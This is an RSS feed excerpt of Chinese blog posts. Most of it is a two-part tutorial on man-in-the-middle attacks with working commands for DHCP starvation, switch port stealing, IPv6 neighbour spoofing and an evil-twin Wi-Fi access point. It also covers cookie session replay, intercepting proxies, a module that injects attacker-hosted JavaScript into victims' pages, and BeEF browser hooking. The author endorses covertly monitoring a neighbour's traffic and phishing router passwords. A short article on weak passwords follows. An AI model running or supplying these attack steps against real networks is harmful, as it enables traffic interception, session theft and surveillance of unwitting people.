 &lt;h4&gt;二. 减慢原DHCP服务器的响应速度&lt;/h4&gt;

 &lt;p&gt;由于DHCP服务器会响应所有的DHCP请求，我们可以伪造来自不同MAC地址的DHCP Discover或者Request报文使得原来的DHCP服务器耗尽
其ip池，甚至由于忙着响应大量的DHCP请求而陷入瘫痪：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;#yersinia dhcp -attack 1 -interface wlan0
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中-attack 1表示一直发送discover请求来对DHCP服务器进行拒绝服务（DOS）攻击。当然也可以用其他小工具如dhcpstarv来耗尽
网关的DHCP服务器IP池。这时再打开我们的DHCP server并使目标断开重新连接，这样目标自然就只能获得我们分配的IP了。&lt;/p&gt;

 &lt;h2&gt;端口盗用攻击&lt;/h2&gt;

 &lt;p&gt;端口盗用（Port Stealing）技术常用来在当交换网络不能进行ARP欺骗（例如固定ARP映射）的时候进行嗅探。在网关为交换机的
情况下，虽然无法进行传统的ARP欺骗（即MAC-IP欺骗），但交换机上同样维护着一个MAC缓存表，可以动态更新。&lt;/p&gt;

 &lt;p&gt;为此我们了解一下交换机的工作过程：首先交换机内部有一个Port-to-MAC的的缓存表，记录着每一个端口下存在着哪些MAC地址。
这个表一开始是空的，并从来往数据帧中学习和更新。比如PortA端口对应的HostA发送了一个数据，那么HostA的物理地址MACA就会
被记录下来，并且在交换机的Port-to-Mac缓存表中增加一条记录。随后所有发往MACA的数据都会从PortA输出。&lt;/p&gt;

 &lt;p&gt;与传统的ARP欺骗类似，只不过不同点是我们要污染的是交换机的Port-MAC缓存表。由于该表是动态更新的，我们可以伪造源MAC地址
不断向网关发送数据包，来更新交换机的缓存表，当数据足够多时，原来的PortA-MACA记录就会被冲掉。其结果是交换机会把发给MACA
的数据洪泛发送给所有端口，当然也包括攻击者拥有的端口，从而达到截取目标会话的目的。用ettercap实现如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;#ettercap -i wlan0 -Tq -M port /192.168.1.1/ /192.168.1.104/
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;该命令将截取192.168.1.1和192.168.1.104之间的所有流量，但也同时会接收到两者的所有流量。
端口盗用的方法只能截获流量而不能对其进行修改，并且只能工作于以太网交换机上。值得注意的是，该方法会对局域网的网络性能造成
比较明显的影响，需要谨慎使用。&lt;/p&gt;

 &lt;h2&gt;NDP攻击&lt;/h2&gt;

 &lt;p&gt;NDP(Neighbor Discovery Protocol)是IPv6协议的一个重要组成，取代了IPv4的ARP，ICMP路由发现和重定向功能。在IPv6中使用NDP
来发现直接相连的邻居信息，包括邻接设备的设备名称、软/硬件版本、连接端口等，另外还可提供设备的ID、端口地址、硬件平台等信息。
支持NDP设备都维护NDP邻居信息表(neighbor cache)，邻居信息表中的每一表项都是可以老化的，一旦老化时间到，NDP自动删除相应的邻居表项。
同时，用户可以清除当前的NDP信息以重新收集邻接信息。&lt;/p&gt;

 &lt;p&gt;因此，我们通过给目标发送ND requests/replies报文，来污染目标的邻居信息表，从而达到伪装成网关的目的，例如：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;#ettercap -i wlan0 -Tq -M ndp:remote //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中地址分别为网关和目标的IPv6地址。当然目前对IPv6的推广还不普及，但随着IPv4地址耗尽，最终普及IPv6也只是一个时间过程罢了。针对
IPv6的攻击也有待发掘。&lt;/p&gt;

 &lt;h2&gt;邪恶的孪生AP攻击(Evil Twin AP)&lt;/h2&gt;

 &lt;p&gt;上面介绍的几种中间人攻击方法都有一个共同的前提，即要求我们和目标在同一个局域网之中。然而有时候我们无法入侵内网，比如WiFi用了
WPA/WPA2 PSK + 强口令的方式加密，且有意识地关闭了WPA等一些有漏洞的功能。这时想要破解进入其局域网显然不太可能，但是仍然可以对
内网中的客户端进行中间人攻击。&lt;/p&gt;

 &lt;h3&gt;攻击原理&lt;/h3&gt;

 &lt;p&gt;这就要说到我们网络设备自动连接WiFi的过程，要决定是否连接一个AP，首先会看其是否曾经连接过。AP的特征往往通过ESSID，BSSID和加密
方式来进行判断，因此我们只要能在本机建立一个相同ESSID，相同MAC地址以及相同加密方式的AP，并且信号强度大于原AP，那么客户端就很有
可能优先连接上我们的假AP。这时只要在本地给目标非配号DHCP地址和DNS服务器，再进行流量转发，就可以神不知鬼不觉地对其进行中间人攻击了。&lt;/p&gt;

 &lt;h3&gt;实现过程&lt;/h3&gt;

 &lt;p&gt;Evil Twin AP的实现过程和传统的“钓鱼热点”大同小异，不同在于钓鱼热点往往是不加密的，以期不明真相的路人进行连接，数据广撒网的攻击。而
孪生AP则更有针对性，比如怀疑邻居浏览虐童网站或者进行恐怖活动，就需要对其进行监听采证，然后向警察叔叔举报。当然，要注意自己的安全。
具体实现过程我分为三步：&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;建立Fake AP&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;这里使用aircrack-ng工具集来进行操作，关于aircrack-ng的基本用法可以参考我之前写的  &lt;a href="http://pannzh.github.io/tech/2015/10/31/wifi-crack.html"&gt;WIFI密码破解笔记&lt;/a&gt;，首先选择一个网络接口，
将其设置为混杂模式：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;airmon-ng start wlan0
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;假设混杂模式（monitor）的无线接口为mon0，我们可以用其建立一个AP：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;airbase-ng -P -a $ap_mac -e $ap_name -c $channel mon0
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中-a指定AP的BSSID（即MAC地址），-e指定AP的名称（ESSID）， -c指定信道。全部指定和待攻击的AP一样则会建立一个Evil Twin AP，否则建立的是一个
开放的AP，设置好后运行ifconfig应该会看到一个at0的虚拟网络接口，即我们的AP。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;打开本地DHCP服务器&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;这时候如果目标连接上了我们的AP，当然是上不了网的，甚至连动态IP也获取不了，因此要先设置好我们的DHCP Server。根据DHCP Server工具不同，配置文件
的路径也会有点不一样，一般是  &lt;code&gt;/ect/dhcp/dhcpd.conf&lt;/code&gt;，修改IP池范围，子网掩码，DNS服务器地址，如果有需要也可以修改lease时间。改好后运行：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;ifconfig at0 up 192.168.2.1 netmask 255.255.255.0 
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;重新设置at0的地址和掩码，其中192.168.2.1是我们的假AP地址，然后添加一条路由记录：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;启动（或重启）DHCP Server：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;service isc-dhcp-server restart
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;这样目标连接上我们的WIFI后就可以分配到一个192.168.2.0/24中的IP地址了（IP池内）。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;开启转发&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;转发用到iptables，我在  &lt;a href="http://pannzh.github.io/tech/2015/11/01/arp-mitm.html"&gt;ARP欺骗与中间人攻击&lt;/a&gt;中已经介绍过了，这里就不再赘述，具体命令如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;iptables -t nat -A POSTROUTING -o wlan0 -s 192.168.2.0/24 -j MASQUERADE
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;目的是把192.168.2.0/24子网内的流量转发到能上网的接口上，这里是wlan0。值得一说的是，wlan0开启了混杂模式又要转发，对网络性能可能有点影响，最好是额外
有个网卡，或者是有线（eth0）。然后用aireplay-ng对目标进行短暂的掉线重连，就有可能连上我们的AP了。当然这只是最基本的功能，为实现最好效果，我们可以
加大假AP的发射功率，要提高网络性能也可可以优化iptables转发规则，限于篇幅就不再细说。&lt;/p&gt;

 &lt;h2&gt;后记&lt;/h2&gt;

 &lt;p&gt;通过介绍了几种常见协议，也介绍了几种相应的中间人攻击方法。虽然现在协议对安全的关注越来越多，但不论如何总要在速度和安全性做出折衷。
新的协议部署和推广都需要一段很长的时间，即便有了安全的协议也仍然会有各种无法避免的漏洞。更何况如果局域网内主机的通讯都像防贼一样
重重加密，那也有点得不偿失。其实中间人攻击的手段还有很多，要懂得发动自己的想象力。比如通过钓鱼或者路由器漏洞的方式获得路由器密码，
这样通过修改路由配置，就成为真正的“中间人了”，而这也是我最喜欢的一种方式，呵呵。&lt;/p&gt;

&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/54744-%E4%B8%AD%E9%97%B4%E4%BA%BA</guid>
      <pubDate>Sat, 28 Nov 2015 03:15:26 CST</pubDate>
    </item>
    <item>
      <title>细说中间人攻击（二）</title>
      <link>https://itindex.net/detail/54726-%E4%B8%AD%E9%97%B4%E4%BA%BA-%E6%94%BB%E5%87%BB</link>
      <description>&lt;p&gt;在  &lt;a href="http://pannzh.github.io/tech/2015/11/01/mitm-detail-1.html"&gt;细说中间人攻击（一）&lt;/a&gt;介绍了比较常见的中间人攻击做法，即用wireshark抓取数据包，
用ettercap来进行出入流量的替换和修改，从而达到监控和修改目标网页的目的。然而中间人攻击的工具繁多，并非只有ettercap一个，
因此这篇博文我将再介绍几种常见的MITM框架以及简单说明其使用方法，以达到方便监控目标和攻击目标的目的。&lt;/p&gt;

 &lt;h2&gt;抓取Cookie本地重现&lt;/h2&gt;

 &lt;p&gt;在我搜索中间人攻击相关主题的时候，发现国内博客提及比较多的cookie盗取所用的软件是ferret&amp;amp;hamster，
hamster这个软件是在  &lt;strong&gt;2007年&lt;/strong&gt;黑客大会上  &lt;a href="https://github.com/robertdavidgraham"&gt;Robert Graham&lt;/a&gt;展示用来方便在浏览器中快速重现所捕捉
到的会话的，其中ferret用来扑捉数据或者对已经扑捉的.pcap数据进行格式化处理，生成一个txt文件，然后用hamster
来读取这个txt并且在本机启动一个代理服务器，只要浏览器设置了相对应的地址（本机地址）和端口的代理
进行访问就能看见所有截获的http会话了。由于这个软件年代久远，而且只是在大会上做个demo，并不是很完善的
产品，因此也有比较大的不稳定性，即便如此在如今还是在各种博客里被屡屡提及，所以我也简单介绍下这个工具
的使用。&lt;/p&gt;

 &lt;p&gt;hamster和ferret可以到官网  &lt;a href="http://hamster.erratasec.com"&gt;http://hamster.erratasec.com&lt;/a&gt;下载，但最近似乎没有
更新了，毕竟快是十年前的东西。我是直接在robert的github上下载的c++源代码，总体功能并不复杂，就当学习一下大神
的coding方法了。有一点值得一提，hamster用的是32位的库，因此自己如果是64位操作系统，编译或者运行都需要安装
ia32-libs以及一些使用到的非标准库，同时源代码要进行简单的修改。为了方便我连同依赖直接fork到了  &lt;a href="https://github.com/pannzh/hamster"&gt;这里&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;再说使用方法，其实这倒是最简单的，关键就三步：&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;
       &lt;p&gt;抓取指定端口的数据&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;用ferret格式化解析本地数据&lt;/p&gt;

       &lt;p&gt;#ferret -r file.pcap  //生成hamster.txt&lt;/p&gt;
  &lt;/li&gt;
    &lt;li&gt;
       &lt;p&gt;hamster打开本地代理服务器，默认端口是1234&lt;/p&gt;

       &lt;p&gt;#hamster  //在和hamster.txt相同目录下打开&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;然后打开浏览器，设置代理为  &lt;code&gt;127.0.0.1:1234&lt;/code&gt;，打开  &lt;code&gt;http://hamster&lt;/code&gt;就能看到所扑捉的所有会话了，如果有cookie信息，也能直接
还原出来。其中第一步可以用任何抓包工具来做，也可以用ferret -i来抓包，这样的话1、2步也可以合并成一步。&lt;/p&gt;

 &lt;h2&gt;中间人代理&lt;/h2&gt;

 &lt;p&gt;HTTP/HTTPS代理服务器有很多，比如Fiddler2，burpsuite和mitmproxy等工具都可以建立一个代理服务器。代理服务器往往用来辅助web开发
和调试，当然也能用于渗透测试即中间人攻击。其中比较轻量级的是mitmproxy，用python编写而成，可以很容易进行拓展和定制。
mitmproxy进行HTTPS代理的过程和我在  &lt;a href="http://pannzh.github.io/tech/2015/11/01/mitm-detail-1.html"&gt;细说中间人攻击（一）&lt;/a&gt;的最后一节讲的大同小异，简而言之就是mitmproxy本身与服务器和
客户端双向进行SSL链接，当然前提是mitmproxy使用的证书要被信任，不然客户端进行https访问的时候浏览器地址栏会有个不信任证书的提醒。
下面介绍一下mitmproxy工具集中几个常用工具的使用方法。&lt;/p&gt;

 &lt;h3&gt;mitmproxy&lt;/h3&gt;

 &lt;p&gt;mitmproxy是一个交互式的流量监控和分析工具，其操作界面的控制方式类似于vim。直接命令行打开：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;mitmproxy -p 1234
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;会在本地打开一个代理服务器，端口号为1234。也可以不指定，默认端口号是8080。然后使得目标通过你的这个代理上网，就能在交互界面中看到
所有的POST和GET等请求。还可以指定任意一条请求回车进入查看详细的请求数据，也可以看tab切换respond和detail数据。对于respond的数据还可以根据格式
来进行相应的展现。同时也能按e进行修改请求，然后按r进行回放。不得不说其可视化界面做得很好，所有的浏览请求一目了然。交互式的界面更适合
用于请求的分析。mitmproxy作为一个“中间人”代理，当然也能对数据进行拦截，使用i指定拦截的表达式即可。&lt;/p&gt;

 &lt;h3&gt;mitmdump&lt;/h3&gt;

 &lt;p&gt;与mitmproxy相对的，mitmdump是一个非交互的抓包工具，不过还提供了用python脚本来对数据包进行修改替换的操作，有点类似于ettercap的filter插件。
可以实时修改request和respond每一个细节，当然也可以非实时地对mitmproxy保存的离线包进行操作。&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;mitmdump -n -r capture.data -w output.data [filter]
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中capture.data是mitmproxy用w键保存的数据。mitmdump可以对其过滤处理产生新的包。[filter]是过滤的条件，如“~d douban.com“表示特定域名，~h表示
特定header等等。对于新生成的数据包，我们也可以用mitmdump重播：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;mitmdump -n -c output.data
&lt;/code&gt;&lt;/pre&gt;

 &lt;h3&gt;libmproxy&lt;/h3&gt;

 &lt;p&gt;mitmdump的一个主要作用是支持inline脚本，用–script调用，脚本中用到了mitmdump提供的拓展库libmproxy，就像其他python第三方库一样，不过其拥有操纵
http响应每个细节的能力，实乃居家旅行必备。用法很简单：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;mitmdump -s myscript.py -p 1234
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;如一个修改响应文字内容的inline脚本如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;# Usage: mitmdump -s &amp;quot;modify_response_body.py mitmproxy bananas&amp;quot;
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError(&amp;apos;Usage: -s &amp;quot;modify-response-body.py old new&amp;quot;&amp;apos;)
    # You may want to use Python&amp;apos;s argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;这里需要注意的是不同版本的libmproxy的改动非常大！！我之前是直接apt-get下载的mitmproxy0.8，那时
还没有libmproxy.models，所以要注意自己的版本。建议在github上clone最新版本，用pip+virturlenv进行
包管理十分方便，目前最新版本是mitmproxy0.14.x，最新版还增加了一个mitmweb的工具，
可见其更新速度非常快，这对开源工具来说是一件大好事。&lt;/p&gt;

 &lt;p&gt;另外在github仓库里还有inline脚本的example，文档也很齐全。除了inline调用以外，我们甚至可以使用libmproxy
来自己用python写一个mitmproxy！而且实现起来也非常简单，因为mitmproxy本身大部分功能都是基于libmproxy里实现的。&lt;/p&gt;

 &lt;h2&gt;“更好的ettercap”——bettercap&lt;/h2&gt;

 &lt;p&gt;很多人可能会问，既然有了ettercap，干嘛还要再弄一个差不多的东西？其实按照bettercap作者的说法，ettercap虽然是个很棒的工具，
但是已经过时了，而且似乎维护也是有气无力。ettercap在大型网络中相当不稳定，在操纵http的payload时往往还需要别的工具来辅助，
比如上面提到的mitmproxy。因此bettercap就诞生啦！&lt;/p&gt;

 &lt;p&gt;bettercap的操作也十分简单明了，比如在局域网中嗅探所有数据：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bettercap -X -P &amp;quot;FTP,HTTPAUTH,MAIL,NTLMSS&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中-P指定加载的parsers，也可以不指定，默认和ettercap一样全部加载。也可以将数据保存在本地：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter &amp;quot;tcp and dst port 80&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;–sniffer-filter参数表示的意思很明显，即只保存目的端口为80的tcp数据（即http）。值得一提的是，这里没有指定网关和网络接口，因为
用的都是默认值，即当前网关和当前默认网卡，当然也可以分别用-G 和 -I 指定。&lt;/p&gt;

 &lt;h3&gt;模块化的透明代理&lt;/h3&gt;

 &lt;p&gt;上面讲mitmproxy的时候已经介绍了代理，而bettercap正好也可以实现类似的功能，在本地启动一个中间人代理服务器并且将数据流量都通过代理收发。&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bettercap --proxy --proxy-port=1234
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;指定代理端口为1234，默认为8080。这条命令默认只记录http请求，如果指定–proxy-module参数就可以加载你自定义的模块来操纵流量。
自定义的拓展模块用Ruby写成，语法很简单，比如一个修改网页title的例子  &lt;code&gt;hack_title.rb&lt;/code&gt;如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;class HackTitle &amp;lt; Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info &amp;quot;Hacking http://#{request.host}#{request.url} title tag&amp;quot;
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( &amp;apos;&amp;lt;title&amp;gt;&amp;apos;, &amp;apos;&amp;lt;title&amp;gt; !!! HACKED !!! &amp;apos; )
    end
  end
end  
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;调用方法&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bettercap --proxy --proxy-module=hack_title.rb
&lt;/code&gt;&lt;/pre&gt;

 &lt;h3&gt;内嵌http服务器&lt;/h3&gt;

 &lt;p&gt;其实这个选项比较鸡肋，不过也是bettercap为了达到它所说的“只用一个工具”的效果吧。其主要用途就是给payload注入JS的时候需要从服务器去请求，
bettercap可以配合proxy module很容易一步实现：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;其中inject.rb的代码如下：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;class InjectJS &amp;lt; Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info &amp;quot;Injecting javascript file into http://#{request.host}#{request.url} page&amp;quot;
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( &amp;apos;&amp;lt;/title&amp;gt;&amp;apos;, &amp;quot;&amp;lt;/title&amp;gt;&amp;lt;script src=&amp;apos;http://#{localaddr}:#{localport}/file.js&amp;apos; type=&amp;apos;text/javascript&amp;apos;&amp;gt;&amp;lt;/script&amp;gt;&amp;quot; )
    end
  end
end  
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;目前bettercap的功能还比较简单，但优点是其更新维护非常快，可以说是日新月异，和ettercap等老古董形成鲜明对比呀:D&lt;/p&gt;

 &lt;h2&gt;BeEF&lt;/h2&gt;

 &lt;p&gt;BeEF全称为Browser Exploitation Framework，是一个著名的浏览器劫持框架，也是采用Ruby编写。虽然安装依赖的过程有点繁琐，但用起来着实简单无比，
只需要运行：&lt;/p&gt;

 &lt;pre&gt;  &lt;code&gt;./beef
&lt;/code&gt;&lt;/pre&gt;

 &lt;p&gt;运行后会启动一个用户接口服务器和一个挂载BeEF主要JS脚本（hook.js）的服务器，其架构如下：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="BeEF-overall" src="http://images2015.cnblogs.com/blog/676200/201511/676200-20151123192955467-1825550887.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;其中用户接口也是一个http服务器，我们只需要在浏览器中打开，就能进入一个展现所有被注入的客户机的管理后台。如果客户端浏览的某个网页payload中加载
了hook.js，那么其一举一动都会发送到我们的UI服务器上，包括鼠标的点击事件，点击位置，键盘事件等等，查看cookie和客户端的机器信息更是不在话下：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="hook-interface" src="http://images2015.cnblogs.com/blog/676200/201511/676200-20151123193727405-301424133.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;针对每一台被劫持的客户端（浏览器），我们还可以对其发送不同的指令，比如播放音乐，锁住页面，打开web摄像头。值得一提的是，BeEF还能配合metasploit
来入侵目标的电脑，从而在目标关闭浏览器后依旧能拥有其计算机的控制权。&lt;/p&gt;

 &lt;h2&gt;后记&lt;/h2&gt;

 &lt;p&gt;中间人攻击的大致方法至此就介绍得差不多了，在总结的过程中自己也学了不少工具的的用法。虽然MITM的工具繁多，但明白其原理才能更好地去使用，
以及对其进行拓展。轮子是个好东西，人类只有几十年有效寿命和有限的精力，却能够不断发展到现在这样科技发达，靠的就是不断理解和使用轮子，把前人
的推论当成定理，可以说人类社会的进步就是一个面向对象编程的过程。但是，也不用把别人的轮子看得过于神秘，说到底中间人也就是接收，解析，发送三步而已。
至于怎么防御这类攻击，最好的方法就是浏览器禁cookie，禁javascript，禁flash，最终还是得和个人的上网体验相权衡，毕竟如果把眼睛都蒙上了，我还上什么网呢。&lt;/p&gt;

&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/54726-%E4%B8%AD%E9%97%B4%E4%BA%BA-%E6%94%BB%E5%87%BB</guid>
      <pubDate>Tue, 24 Nov 2015 00:15:26 CST</pubDate>
    </item>
    <item>
      <title>2014年度最差密码</title>
      <link>https://itindex.net/detail/52559-%E5%AF%86%E7%A0%81</link>
      <description>&lt;p&gt;  &lt;a href="http://jandan.net/2015/01/21/worst-passwords.html"&gt;   &lt;img alt="2014&amp;#24180;&amp;#24230;&amp;#26368;&amp;#24046;&amp;#23494;&amp;#30721;" src="http://tankr.net/s/medium/9MX9.jpg"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;如果你觉得在2014年引人注目的黑客攻击事件发生之后，人们会长教训，那么你就错了。&lt;/p&gt;  &lt;p&gt;密码管理公司SplashData公布了年度最差密码，结果和你想象中的一样可怕。该公司分析了去年在网上泄露的300万个密码，发现最容易被盗的密码是“123456”，其次是“password”(密码)，而这两个密码在上一次的排行榜中也位居前二。&lt;/p&gt;  &lt;p&gt;当然，密码越普通，黑客就更有可能进入个人帐户，例如电子邮件和银行账户。虽然数字序列一直以来都是最常用的，但是运动名词比如“baseball”、“football”等使用率有所提高，还有与所喜爱的运动队相关的词语，例如“yankees”、“eagles”、“steelers”、“rangers”和“lakers”都在前100名。&lt;/p&gt;  &lt;p&gt;出生年份也很常用，特别是1989、1990、1991和1992，以及如“Michael”、“Jennifer”、“Michelle”和“Hunter”等名字也出现在了2014年最差密码的前100名。&lt;/p&gt;  &lt;p&gt;下面是年度最差密码前25名：&lt;/p&gt;  &lt;p&gt;1. 123456 (与2013年度相同)  &lt;br /&gt; 2. password (与2013年度相同)  &lt;br /&gt; 3. 12345 (上升17位)  &lt;br /&gt; 4. 12345678 (下降1位)  &lt;br /&gt; 5. qwerty (下降1位)  &lt;br /&gt; 6. 234567890 (与2013年度相同)  &lt;br /&gt; 7. 1234 (上升9位)  &lt;br /&gt; 8. baseball (新上榜)  &lt;br /&gt; 9. dragon (新上榜)  &lt;br /&gt; 10. football (新上榜)  &lt;br /&gt; 11. 1234567 (下降4位)  &lt;br /&gt; 12. monkey (上升5位)  &lt;br /&gt; 13. letmein (上升1位)  &lt;br /&gt; 14. abc123 (下降9位)  &lt;br /&gt; 15. 111111 (下降8位)  &lt;br /&gt; 16. mustang (新上榜)  &lt;br /&gt; 17. access (新上榜)  &lt;br /&gt; 18. shadow (与2013年度相同)  &lt;br /&gt; 19. master (新上榜)  &lt;br /&gt; 20. michael (新上榜)  &lt;br /&gt; 21. superman (新上榜)  &lt;br /&gt; 22. 696969 (新上榜)  &lt;br /&gt; 23. 123123 (下降12位)  &lt;br /&gt; 24. batman (新上榜)  &lt;br /&gt; 25. trustno1 (下降1位)&lt;/p&gt;  &lt;p&gt;想到去年的针对索尼影业的黑客攻击和明星艳照流出事件，这份排名特别让人担心。&lt;/p&gt;  &lt;p&gt;本年度最差密码弱得简直让人不忍直视，但是过去一度被认为是明智的密码设法，比如用符号、大写，以及用数字“3”代替字母“e”等做法也老掉牙了。现在最新推荐的方法是给每个帐户都设一个不同的密码，因为你不会用一把钥匙去开所有的锁，密码也是一样。&lt;/p&gt;  &lt;p&gt;另一个建议是，密码应该达到14位，并且要避免包含个人信息，例如你的生日和最喜欢的颜色。数字和符号应该插在密码中的不同位置，而不是只加在最后。选词语组合的时候要选意思不相关的，例如“catfoldersspaceshuttle”，而不应该选“icameisawiconquered”。&lt;/p&gt;  &lt;p&gt;Gmail、Facebook、Twitter和Apple等公司现在通过提供双因素认证来保护自己的服务不受黑客攻击，就像晚上给门上两把锁一样。每次登录时，他们都会向你的手机上发送验证码，每次登录时的验证码都不同，因此黑客如果想要进入你的帐户，就必须拿到你的智能手机。&lt;/p&gt;  &lt;p&gt;  &lt;em&gt;[   &lt;a href="http://jandan.net/2015/01/21/worst-passwords.html"&gt;Ivy&lt;/a&gt; via    &lt;a href="http://mashable.com/2015/01/20/worst-passwords-of-2014/" rel="external" target="_blank"&gt;mashable&lt;/a&gt;]&lt;/em&gt;&lt;/p&gt;  &lt;img border="0" height="1" src="http://jandan.feedsportal.com/c/34036/f/617798/s/4288a198/sc/38/mf.gif" width="1"&gt;&lt;/img&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;a href="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/1/rc.htm" rel="nofollow"&gt;  &lt;img border="0" src="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/1/rc.img"&gt;&lt;/img&gt;&lt;/a&gt; &lt;br /&gt; &lt;a href="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/2/rc.htm" rel="nofollow"&gt;  &lt;img border="0" src="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/2/rc.img"&gt;&lt;/img&gt;&lt;/a&gt; &lt;br /&gt; &lt;a href="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/3/rc.htm" rel="nofollow"&gt;  &lt;img border="0" src="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/rc/3/rc.img"&gt;&lt;/img&gt;&lt;/a&gt; &lt;br /&gt; &lt;br /&gt; &lt;a href="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/a2.htm"&gt;  &lt;img border="0" src="http://da.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/a2.img"&gt;&lt;/img&gt;&lt;/a&gt; &lt;img border="0" height="1" src="http://pi.feedsportal.com/r/218610859977/u/49/f/617798/c/34036/s/4288a198/sc/38/a2t.img" width="1"&gt;&lt;/img&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>SHARE Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/52559-%E5%AF%86%E7%A0%81</guid>
      <pubDate>Wed, 21 Jan 2015 11:10:42 CST</pubDate>
    </item>
    <item>
      <title>MOOC 即将迎来失败？</title>
      <link>https://itindex.net/detail/51100-mooc</link>
      <description>&lt;p&gt;  &lt;a href="http://jandan.net/2014/09/17/mooc-a-failure.html"&gt;   &lt;img alt="MOOC &amp;#21363;&amp;#23558;&amp;#36814;&amp;#26469;&amp;#22833;&amp;#36133;&amp;#65311;" src="http://tankr.net/s/medium/GEEN.jpg"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
